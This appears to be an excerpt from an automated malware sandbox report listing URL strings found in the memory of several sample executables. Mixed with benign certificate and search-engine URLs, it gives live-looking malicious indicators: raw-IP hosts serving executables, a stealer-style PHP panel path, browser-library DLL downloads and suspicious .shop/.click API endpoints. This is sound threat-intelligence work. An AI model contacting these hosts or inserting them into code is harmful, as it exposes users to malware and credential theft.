Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/#
Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/F
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968225491.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968225491.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeu
Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exe5117-2476756634-1002
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://185.215.113.206
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll=
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllK
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll&
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B529000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpY
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfi
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://185.215.113.206ones
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206z
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791619976.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1802092337.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801922934.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 55c1ca23f1.exe, 00000012.00000003.2311940788.0000000002403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sourceforge.net/projects/s-zipsfxbuilder/)
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347623795.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2267594754.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2267594754.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mo
Source: random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: random(4).exe, 00000000.00000003.1968762153.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1774346163.0000000005391000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763047280.0000000005396000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763089582.000000000539A000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1750659620.0000000000D43000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791619976.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1787935893.0000000005391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/#
Source: random(4).exe, 00000000.00000003.1968516826.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845454341.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/K
Source: random(4).exe, 00000000.00000003.1801861765.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/S
Source: random(4).exe, 00000000.00000003.1763145473.000000000539B000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763212305.000000000539D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/a
Source: random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845653640.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801783233.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845372507.000000000539E000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D52000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1787935893.000000000539E000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968353025.000000000539D000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845454341.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801861765.0000000000D51000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api1
Source: random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845169784.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845653640.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D52000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api97
Source: random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/b
Source: random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/c
Source: random(4).exe, 00000000.00000003.1845169784.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845653640.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791761313.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791557022.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: 943fedf78d.exe, 0000000D.00000003.4125929580.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4131889031.0000000001206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/
Source: 943fedf78d.exe, 0000000D.00000003.4125929580.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4131889031.0000000001206000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4125929580.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/api
Source: 943fedf78d.exe, 0000000D.00000003.4125929580.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4131889031.0000000001206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/apid
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 9ce3a8a3dc.exe, 9ce3a8a3dc.exe, 0000000C.00000003.2335294704.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2376579538.00000000015FF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2327552419.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400323329.0000000001593000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2452826288.0000000001601000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400489317.00000000015A6000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400121522.0000000001600000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2441193868.0000000001594000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2444078928.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320200715.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2376311717.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 9ce3a8a3dc.exe, 0000000C.00000002.2452826288.0000000001601000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400121522.0000000001600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api&
Source: 9ce3a8a3dc.exe, 0000000C.00000002.2452826288.0000000001601000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400121522.0000000001600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api9
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2327552419.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiO
Source: 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiuo
